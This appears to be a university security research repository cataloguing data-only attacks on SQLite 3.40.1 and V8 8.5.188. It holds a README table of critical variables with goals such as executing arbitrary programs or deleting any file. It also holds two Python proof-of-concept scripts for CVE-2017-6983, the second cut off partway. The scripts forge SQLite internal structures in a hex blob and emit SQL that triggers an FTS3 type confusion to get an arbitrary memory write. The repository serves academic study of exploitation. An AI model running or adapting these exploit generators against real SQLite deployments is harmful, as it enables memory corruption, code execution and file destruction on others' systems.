├── .gitignore
├── LICENSE
├── README.md
├── SQLite
├── README.md
├── cve-2017-6983-poc-simple.py
├── cve-2017-6983-poc.py
├── cve-2017-6983.md
├── doXdgOpen-attack.md
├── doXdgOpen-poc.py
├── doXdgOpen.md
├── isDelete-attack.md
├── isDelete-poc.py
├── isDelete.md
├── mode.md
├── zTempFile-attack.md
├── zTempFile-poc.py
└── zTempFile.md
├── V8
├── README.md
├── args.gn
├── enable_os_system-attack.md
├── enable_os_system-poc.js
├── enable_os_system.md
└── v8.patch
├── curl
├── README.md
└── tempstore.md
├── jhead
├── README.md
├── editcomment.md
└── regenthumbnail.md
└── nginx
├── README.md
├── ngx_terminate.md
└── sa_family.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .swp
3 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 The Pennsylvania State University
4 | # Developed by the PSU Security Universe research group
5 |
6 | Permission is hereby granted, free of charge, to any person obtaining a copy
7 | of this software and associated documentation files (the "Software"), to deal
8 | in the Software without restriction, including without limitation the rights
9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10 | copies of the Software, and to permit persons to whom the Software is
11 | furnished to do so, subject to the following conditions:
12 |
13 | The above copyright notice and this permission notice shall be included in all
14 | copies or substantial portions of the Software.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
22 | SOFTWARE.
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # data-only-attacks
2 | A list of data-only attacks
3 |
4 |
5 |
6 |
7 | Program |
8 | Version |
9 | Variable |
10 | Location |
11 | Malicious Goal |
12 |
13 |
14 |
15 |
16 | SQLite |
17 | 3.40.1 |
18 | p->doXdgOpen |
19 | shell.c:20270 |
20 | execute arbitrary program |
21 |
22 |
23 | p->zTempFile |
24 | shell.c:20560 |
25 | delete any file |
26 |
27 |
28 | isDelete |
29 | sqlite3.c:42939 |
30 | delete any file |
31 |
32 |
33 | V8 |
34 | 8.5.188 |
35 | enable_os_system |
36 | d8-posix.cc:762 |
37 | execute any program |
38 |
39 |
40 |
41 |
42 |
43 | ## Acknowledgment
44 |
45 | We thank National Science Foundation (NSF) for supporting our work.
46 | This research is supported by NSF under grant CNS-2247652.
47 |
--------------------------------------------------------------------------------
/SQLite/README.md:
--------------------------------------------------------------------------------
1 | [SQLite](https://www.sqlite.org/) is a widely used lightweight database management system (DBMS).
2 |
3 | # Source Code
4 |
5 | Our analysis is performed on version 3.40.1. The following instructions provide a way to obtain a copy of the source code.
6 |
7 | ```bash
8 | $ git clone https://github.com/sqlite/sqlite.git
9 | $ cd sqlite
10 | $ git checkout version-3.40.1 #-> commit 1fdaa9d1a7
11 | ```
12 |
13 | You may need to compile the source code to produce the file `sqlite3.c` and `shell.c`.
14 |
15 | ```bash
16 | # (within sqlite folder)
17 | $ ./configure
18 | $ make
19 | $ ls -l sqlite3.c shell.c
20 | ```
21 |
22 | # Critical Variables
23 |
24 | * [doXdgOpen](doXdgOpen.md)
25 | * [isDelete](isDelete.md)
26 | * [zTempFile](zTempFile.md)
27 | * [mode](mode.md)
28 |
29 | # Data-only Attacks
30 |
31 | * [doXdgOpen-attack](doXdgOpen-attack.md)
32 | * [isDetele-attack](isDelete-attack.md)
33 | * [zTempFile-attack](zTempFile-attack.md)
34 |
--------------------------------------------------------------------------------
/SQLite/cve-2017-6983-poc-simple.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 |
6 | def valToStr(value, length):
7 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
9 | return c
10 |
11 | def writeStr(exp, off, string):
12 | exp = list(exp)
13 | string = list(string)
14 | for i in range(0, len(string)):
15 | exp[off + i] = string[i]
16 | return ''.join(exp)
17 |
18 | def writeVal(exp, off, value, length=8):
19 | return writeStr(exp, off * 2, valToStr(value, length))
20 |
21 | compact = True
22 |
23 | exp = valToStr(0xdeadbeef, 8) + "0" * 0x800 * 2
24 | base = 0x667ad8
25 |
26 | dst_ptr = base - 0x20 # FIXME: need to set the dst address
27 | bad_val = 0x1 # FIXME: your bad value (choose 1)
28 | bad_str = None # FIXME: your bad string (choose 1)
29 |
30 | #----------------------------------------------------------
31 | # expected layout:
32 |
33 | # Fts3Cursor (0x80)
34 | # Fts3Table (0x220)
35 | # Incrblob_metadata (0x8)
36 | # Incrblob (0x38)
37 | # sqlite3 (0x308)
38 | # nBytesFreed (0x4)
39 | # Vdbe_metadata (0x8)
40 | # Vdbe (0x138)
41 | # sqlite3_value (0x48)
42 | # malicious metadata (0x8)
43 | # malicious value/string (?)
44 |
45 | #----------------------------------------------------------
46 | # required type.member values:
47 |
48 | # Fts3Cursor.base.pVtab = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc)
49 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close)
50 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize)
51 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close)
52 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset)
53 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN)
54 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize)
55 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset)
56 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize)
57 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize)
58 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize)
59 | # malicious_content = Your-bad-value
60 |
61 | #----------------------------------------------------------
62 | # common sizes and offsets
63 |
64 | # sizeof types
65 | Fts3Cursor_size = 0x80
66 | Fts3Table_size = 0x220
67 | Incrblob_metadata_size = 0x8
68 | Incrblob_size = 0x38
69 | sqlite3_size = 0x308
70 | nBytesFreed_size = 0x4
71 | Vdbe_metadata_size = 0x8
72 | Vdbe_size = 0x138
73 | sqlite3_value_size = 0x48
74 | malicious_metadata_size = 0x8
75 |
76 | # raddr -> address relative to base
77 | # -> offset relattive to exp
78 | raddr_Fts3Cursor = 0
79 | raddr_Fts3Table = Fts3Cursor_size
80 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size
81 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
82 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size
83 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size
84 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size
85 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
86 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size
87 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size
88 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
89 |
90 | # offset_type_member -> offset of member within type
91 |
92 | if compact:
93 |
94 | Fts3Cursor_size = 0x8
95 | raddr_Fts3Cursor = 0
96 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor
97 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member
98 | # align Fts3Table within sqlite3
99 | raddr_Fts3Table = raddr_sqlite3
100 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table)
101 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20
102 | Vdbe_metadata_size = 0x8
103 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
104 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table)
105 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190
106 | Incrblob_metadata_size = 0x8
107 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
108 | # put nBytesFreed (0x4) within sqlite3
109 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8
110 | # put sqlite3_value (0x48) within sqlite3
111 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc
112 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3
113 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48
114 | malicious_metadata_size = 0x8
115 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
116 |
117 | #----------------------------------------------------------
118 | # malicious actions
119 |
120 | # Fts3Cursor.base.pVtab = &Fts3Table
121 | offset_Fts3Cursor_pVtab = 0
122 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab
123 | addr_Fts3Table = base + raddr_Fts3Table
124 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table)
125 |
126 | # Fts3Table.pSegments = &Incrblob
127 | offset_Fts3Table_pSegments = 0x1e0
128 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments
129 | addr_Incrblob = base + raddr_Incrblob
130 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob)
131 |
132 | # Incrblob.db = &sqlite3
133 | offset_Incrblob_db = 0x20
134 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db
135 | addr_sqlite3 = base + raddr_sqlite3
136 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3)
137 |
138 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN)
139 | offset_sqlite3_pnBytesFreed = 0x300
140 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed
141 | addr_nBytesFreed = base + raddr_nBytesFreed
142 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed)
143 |
144 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize)
145 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0
146 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd
147 | pTrueEnd_val = 0
148 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val)
149 |
150 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize)
151 | offset_Incrblob_pStmt = 0x18
152 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt
153 | addr_Vdbe = base + raddr_Vdbe
154 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe)
155 |
156 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize)
157 | offset_Vdbe_db = 0x0
158 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db
159 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3)
160 |
161 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize)
162 | offset_Vdbe_eVdbeState = 0xcd
163 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState
164 | eVdbeState_val = 1
165 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1)
166 |
167 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset)
168 | offset_Vdbe_zErrMsg = 0xa8
169 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg
170 | src_ptr = base + raddr_malicious_content
171 | zErrMsg_val = src_ptr
172 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val)
173 |
174 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset)
175 | offset_sqlite3_pErr = 0x188
176 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr
177 | addr_sqlite3_value = base + raddr_sqlite3_value
178 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value)
179 |
180 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize)
181 | offset_sqlite3_value_szMalloc = 0x20
182 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc
183 | szMalloc_val = 0x100
184 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4)
185 |
186 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
187 | offset_sqlite3_value_zMalloc = 0x28
188 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc
189 | zMalloc_val = dst_ptr
190 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val)
191 |
192 | # malicious_content = Your-bad-value
193 | if bad_val != None:
194 | exp = writeVal(exp, raddr_malicious_content, bad_val)
195 | if bad_str != None:
196 | exp = writeStr(exp, raddr_malicious_content, bad_str)
197 |
198 | with open('/tmp/exp', 'w') as f:
199 | f.write("create table t1(c1 char);\n")
200 | f.write("insert into t1 values(x'" + exp + "');\n")
201 | f.write("create virtual table a using fts3(b);\n")
202 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n")
203 | f.write("select optimize(b) from a;\n")
204 | f.write("select sqlite_version();\n")
205 |
--------------------------------------------------------------------------------
/SQLite/cve-2017-6983-poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import os
4 | import sys
5 |
6 | def valToStr(value, length):
7 | b = '{num:0{width}X}'.format(num=value, width=length * 2)
8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)]))
9 | return c
10 |
11 | def writeStr(exp, off, string):
12 | exp = list(exp)
13 | string = list(string)
14 | for i in range(0, len(string)):
15 | exp[off + i] = string[i]
16 | return ''.join(exp)
17 |
18 | def writeVal(exp, off, value, length=8):
19 | return writeStr(exp, off * 2, valToStr(value, length))
20 |
21 | compact = True
22 |
23 | exp = valToStr(0xdeadbeef, 8) + "F" * 0x800 * 2
24 | base = 0x667ad8
25 |
26 | dst_ptr = base - 0x20 # FIXME: need to set the dst address
27 | bad_val = 0x1 # FIXME: your bad value (choose 1)
28 | bad_str = None # FIXME: your bad string (choose 1)
29 |
30 | #----------------------------------------------------------
31 | # expected layout:
32 |
33 | # Fts3Cursor (0x80)
34 | # Fts3Table (0x220)
35 | # Incrblob_metadata (0x8)
36 | # Incrblob (0x38)
37 | # sqlite3 (0x308)
38 | # nBytesFreed (0x4)
39 | # Vdbe_metadata (0x8)
40 | # Vdbe (0x138)
41 | # sqlite3_value (0x48)
42 | # malicious metadata (0x8)
43 | # malicious value/string (?)
44 |
45 | #----------------------------------------------------------
46 | # required type.member values:
47 |
48 | # Fts3Cursor.base.pVtab = &Fts3Table [0, 8) (line 182454 @ fts3OptimizeFunc)
49 | # Fts3Table.db = 0 [0x18, 8) (line 34895 @ sqlite3SafetyCheckOk)
50 | # Fts3Table.pSegments = &Incrblob [0x1e0, 8) (line 98925 @ sqlite3_blob_close)
51 | # Incrblob_metadata = 0 (due to malloc_usable_size)
52 | # Incrblob.pStmt = &Vdbe [0x18, 8) (line 87440 @ sqlite3_finalize)
53 | # Incrblob.db = &sqlite3 [0x20, 8) (line 98931 @ sqlite3_blob_close)
54 | # sqlite3.mutex = 0 [0x18, 8) (line 98932 @ sqlite3_blob_close)
55 | # sqlite3.pErr = &sqlite3_value [0x188, 8) (line 85445 @ sqlite3VdbeReset)
56 | # sqlite3.lookaside.pEnd = 0 [0x1e8, 8) (line 29361 @ sqlite3DbFreeNN)
57 | # sqlite3.lookaside.pTrueEnd = 0 [0x1f0, 8) (line 29305 @ isqlite3DbMallocSize)
58 | # sqlite3.pnBytesFreed = &nBytesFreed [0x300, 8) (line 29385 @ sqlite3DbFreeNN)
59 | # Vdbe_metadata = 0 (due to malloc_usable_size)
60 | # Vdbe.db = &sqlite3 [0x0. 8) (line 87441 @ sqlite3_finalize)
61 | # Vdbe.pc = 0 [0x30, 4) (line 85443 @ sqlite3VdbeReset)
62 | # Vdbe.aMem = 0 [0x68, 8) (line 85458 @ sqlite3VdbeReset)
63 | # Vdbe.apCsr = 0 [0x78, 8) (line 85457 @ sqlite3VdbeReset)
64 | # Vdbe.pVList = 0 [0x80, 8) (line 85585 @ sqlite3VdbeClearObject)
65 | # Vdbe.aOp = 0 [0x88, 8) (line 85588 @ sqlite3VdbeClearObject)
66 | # Vdbe.nOp = 0 [0x90, 8) (line 85588 @ sqlite3VdbeClearObject)
67 | # Vdbe.aColName = 0 [0x98, 8) (line 85574 @ sqlite3VdbeClearObject)
68 | # Vdbe.zErrMsg = src_ptr [0xa8, 8) (line 85445 @ sqlite3VdbeReset)
69 | # Vdbe.aVar = 0 [0xb0, 8) (line 85584 @ sqlite3VdbeClearObject)
70 | # Vdbe.startTime = 0 [0xb8, 8) (line 87444 @ sqlite3_finalize)
71 | # Vdbe.eVdbeState = 1 [0xcd, 1) (line 87445 @ sqlite3_finalize)
72 | # Vdbe.zSql = 0 [0x100, 8) (line 85589 @ sqlite3VdbeClearObject)
73 | # Vdbe.pFree = 0 [0x108, 8) (line 85586 @ sqlite3VdbeClearObject)
74 | # Vdbe.pProgram = 0 [0x128, 8) (line 85578 @ sqlite3VdbeClearObject)
75 | # sqlite3_value.db = 0 [0x18, 8) (line 81169 @ sqlite3VdbeMemSetStr)
76 | # sqlite3_value.flags = 0 [0x14, 2) (line 80323 @ sqlite3VdbeMemClearAndResize)
77 | # sqlite3_value.szMalloc = 0x100 [0x20, 4) (line 80324 @ sqlite3VdbeMemClearAndResize)
78 | # sqlite3_value.zMalloc = dst_ptr [0x28, 8) (line 80328 @ sqlite3VdbeMemClearAndResize)
79 | # malicious_metadata = 0 (due to malloc_usable_size)
80 | # malicious_content = Your-bad-value
81 |
82 | #----------------------------------------------------------
83 | # common sizes and offsets
84 |
85 | # sizeof types
86 | Fts3Cursor_size = 0x80
87 | Fts3Table_size = 0x220
88 | Incrblob_metadata_size = 0x8
89 | Incrblob_size = 0x38
90 | sqlite3_size = 0x308
91 | nBytesFreed_size = 0x4
92 | Vdbe_metadata_size = 0x8
93 | Vdbe_size = 0x138
94 | sqlite3_value_size = 0x48
95 | malicious_metadata_size = 0x8
96 |
97 | # raddr -> address relative to base
98 | # -> offset relattive to exp
99 | raddr_Fts3Cursor = 0
100 | raddr_Fts3Table = Fts3Cursor_size
101 | raddr_Incrblob_metadata = raddr_Fts3Table + Fts3Table_size
102 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
103 | raddr_sqlite3 = raddr_Incrblob + Incrblob_size
104 | raddr_nBytesFreed = raddr_sqlite3 + sqlite3_size
105 | raddr_Vdbe_metadata = raddr_nBytesFreed + nBytesFreed_size
106 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
107 | raddr_sqlite3_value = raddr_Vdbe + Vdbe_size
108 | raddr_malicious_metadata = raddr_sqlite3_value + sqlite3_value_size
109 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
110 |
111 | # offset_type_member -> offset of member within type
112 |
113 | if compact:
114 |
115 | Fts3Cursor_size = 0x8
116 | raddr_Fts3Cursor = 0
117 | # put sqlite3, the largest (0x308) structure, immediately after Fts3Cursor
118 | raddr_sqlite3 = raddr_Fts3Cursor + Fts3Cursor_size - 0x18 # Offset of 1st used member
119 | # align Fts3Table within sqlite3
120 | raddr_Fts3Table = raddr_sqlite3
121 | # put Vdbe_medata + Vdbe (0x140) within sqlite3 (also within Fts3Table)
122 | raddr_Vdbe_metadata = raddr_Fts3Table + 0x20
123 | Vdbe_metadata_size = 0x8
124 | raddr_Vdbe = raddr_Vdbe_metadata + Vdbe_metadata_size
125 | # put Incrblob_metadata + Incrblob (0x40) within sqlite3 (also within Fts3Table)
126 | raddr_Incrblob_metadata = raddr_sqlite3 + 0x190
127 | Incrblob_metadata_size = 0x8
128 | raddr_Incrblob = raddr_Incrblob_metadata + Incrblob_metadata_size
129 | # put nBytesFreed (0x4) within sqlite3
130 | raddr_nBytes_freed = raddr_sqlite3 + 0x1f8
131 | # put sqlite3_value (0x48) within sqlite3
132 | raddr_sqlite3_value = raddr_sqlite3 + 0x1fc
133 | # put malicious_metata + malicious_content (0x8 + ?) within sqlite3
134 | raddr_malicious_metadata = raddr_sqlite3 + 0x1fc + 0x48
135 | malicious_metadata_size = 0x8
136 | raddr_malicious_content = raddr_malicious_metadata + malicious_metadata_size
137 |
138 | #----------------------------------------------------------
139 | # malicious actions
140 |
141 | # Fts3Cursor.base.pVtab = &Fts3Table
142 | offset_Fts3Cursor_pVtab = 0
143 | raddr_Fts3Cursor_pVtab = raddr_Fts3Cursor + offset_Fts3Cursor_pVtab
144 | addr_Fts3Table = base + raddr_Fts3Table
145 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table)
146 |
147 | # Fts3Table.db = 0
148 | offset_Fts3Table_db = 0x18
149 | raddr_Fts3Table_db = raddr_Fts3Table + offset_Fts3Table_db
150 | db_val = 0
151 | exp = writeVal(exp, raddr_Fts3Table_db, db_val)
152 |
153 | # Fts3Table.pSegments = &Incrblob
154 | offset_Fts3Table_pSegments = 0x1e0
155 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments
156 | addr_Incrblob = base + raddr_Incrblob
157 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob)
158 |
159 | # Incrblob_metadata = 0
160 | Incrblob_metadata_val = 0
161 | exp = writeVal(exp, raddr_Incrblob_metadata, Incrblob_metadata_val)
162 |
163 | # Incrblob.db = &sqlite3
164 | offset_Incrblob_db = 0x20
165 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db
166 | addr_sqlite3 = base + raddr_sqlite3
167 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3)
168 |
169 | # sqlite3.mutex = 0
170 | offset_sqlite3_mutex = 0x18
171 | raddr_sqlite3_mutex = raddr_sqlite3 + offset_sqlite3_mutex
172 | mutex_val = 0
173 | exp = writeVal(exp, raddr_sqlite3_mutex, mutex_val)
174 |
175 | # sqlite3.lookaside.pEnd = 0 (line 29361 @ sqlite3DbFreeNN)
176 | offset_sqlite3_lookaside_pEnd = 0x1e8
177 | raddr_lookaside_pEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pEnd
178 | pEnd_val = 0
179 | exp = writeVal(exp, raddr_lookaside_pEnd, pEnd_val)
180 |
181 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN)
182 | offset_sqlite3_pnBytesFreed = 0x300
183 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed
184 | addr_nBytesFreed = base + raddr_nBytesFreed
185 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed)
186 |
187 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize)
188 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0
189 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd
190 | pTrueEnd_val = 0
191 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val)
192 |
193 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize)
194 | offset_Incrblob_pStmt = 0x18
195 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt
196 | addr_Vdbe = base + raddr_Vdbe
197 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe)
198 |
199 | # Vdbe_metadata = 0
200 | Vdbe_metadata_val = 0
201 | exp = writeVal(exp, raddr_Vdbe_metadata, Vdbe_metadata_val)
202 |
203 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize)
204 | offset_Vdbe_db = 0x0
205 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db
206 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3)
207 |
208 | # Vdbe.startTime = 0 (line 87444 @ sqlite3_finalize)
209 | offset_Vdbe_startTime = 0xb8
210 | raddr_Vdbe_startTime = raddr_Vdbe + offset_Vdbe_startTime
211 | startTime_val = 0
212 | exp = writeVal(exp, raddr_Vdbe_startTime, startTime_val)
213 |
214 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize)
215 | offset_Vdbe_eVdbeState = 0xcd
216 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState
217 | eVdbeState_val = 1
218 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1)
219 |
220 | # Vdbe.pc = 0 (line 85443 @ sqlite3VdbeReset)
221 | offset_Vdbe_pc = 0x30
222 | raddr_Vdbe_pc = raddr_Vdbe + offset_Vdbe_pc
223 | pc_val = 0
224 | exp = writeVal(exp, raddr_Vdbe_pc, pc_val, 4)
225 |
226 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset)
227 | offset_Vdbe_zErrMsg = 0xa8
228 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg
229 | src_ptr = base + raddr_malicious_content
230 | zErrMsg_val = src_ptr
231 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val)
232 |
233 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset)
234 | offset_sqlite3_pErr = 0x188
235 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr
236 | addr_sqlite3_value = base + raddr_sqlite3_value
237 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value)
238 |
239 | # sqlite3_value.db = 0 (line 81169 @ sqlite3VdbeMemSetStr)
240 | offset_sqlite3_value_db = 0x18
241 | raddr_sqlite3_value_db = raddr_sqlite3_value + offset_sqlite3_value_db
242 | db_val = 0
243 | exp = writeVal(exp, raddr_sqlite3_value_db, db_val)
244 |
245 | # sqlite3_value.flags = 0 (line 80323 @ sqlite3VdbeMemClearAndResize)
246 | offset_sqlite3_value_flags = 0x14
247 | raddr_sqlite3_value_flags = raddr_sqlite3_value + offset_sqlite3_value_flags
248 | flags_val = 0
249 | exp = writeVal(exp, raddr_sqlite3_value_flags, flags_val, 2)
250 |
251 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize)
252 | offset_sqlite3_value_szMalloc = 0x20
253 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc
254 | szMalloc_val = 0x100
255 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4)
256 |
257 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize)
258 | offset_sqlite3_value_zMalloc = 0x28
259 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc
260 | zMalloc_val = dst_ptr
261 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val)
262 |
263 | # Vdbe.apCsr = 0 (line 85457 @ sqlite3VdbeReset)
264 | offset_Vdbe_apCsr = 0x78
265 | raddr_Vdbe_apCsr = raddr_Vdbe + offset_Vdbe_apCsr
266 | apCsr_val = 0
267 | exp = writeVal(exp, raddr_Vdbe_apCsr, apCsr_val)
268 |
269 | # Vdbe.aMem = 0 (line 85458 @ sqlite3VdbeReset)
270 | offset_Vdbe_aMem = 0x68
271 | raddr_Vdbe_aMem = raddr_Vdbe + offset_Vdbe_aMem
272 | aMem_val = 0
273 | exp = writeVal(exp, raddr_Vdbe_aMem, aMem_val)
274 |
275 | # Vdbe.aColName = 0 (line 85574 @ sqlite3VdbeClearObject)
276 | offset_Vdbe_aColName = 0x98
277 | raddr_Vdbe_aColName = raddr_Vdbe + offset_Vdbe_aColName
278 | aColName_val = 0
279 | exp = writeVal(exp, raddr_Vdbe_aColName, aColName_val)
280 |
281 | # Vdbe.pProgram = 0 (line 85578 @ sqlite3VdbeClearObject)
282 | offset_Vdbe_pProgram = 0x128
283 | raddr_Vdbe_pProgram = raddr_Vdbe + offset_Vdbe_pProgram
284 | pProgram_val = 0
285 | exp = writeVal(exp, raddr_Vdbe_pProgram, pProgram_val)
286 |
287 | # Vdbe.aVar = 0 (line 85584 @ sqlite3VdbeClearObject)
288 | offset_Vdbe_aVar = 0xb0
289 | raddr_Vdbe_aVar = raddr_Vdbe + offset_Vdbe_aVar
290 | aVar_val = 0
291 | exp = writeVal(exp, raddr_Vdbe_aVar, aVar_val)
292 |
293 | # Vdbe.pVList = 0 (line 85585 @ sqlite3VdbeClearObject)
294 | offset_Vdbe_pVList = 0x80
295 | raddr_Vdbe_pVList = raddr_Vdbe + offset_Vdbe_pVList
296 | pVList_val = 0
297 | exp = writeVal(exp, raddr_Vdbe_pVList, pVList_val)
298 |
299 | # Vdbe.pFree = 0 (line 85586 @ sqlite3VdbeClearObject)
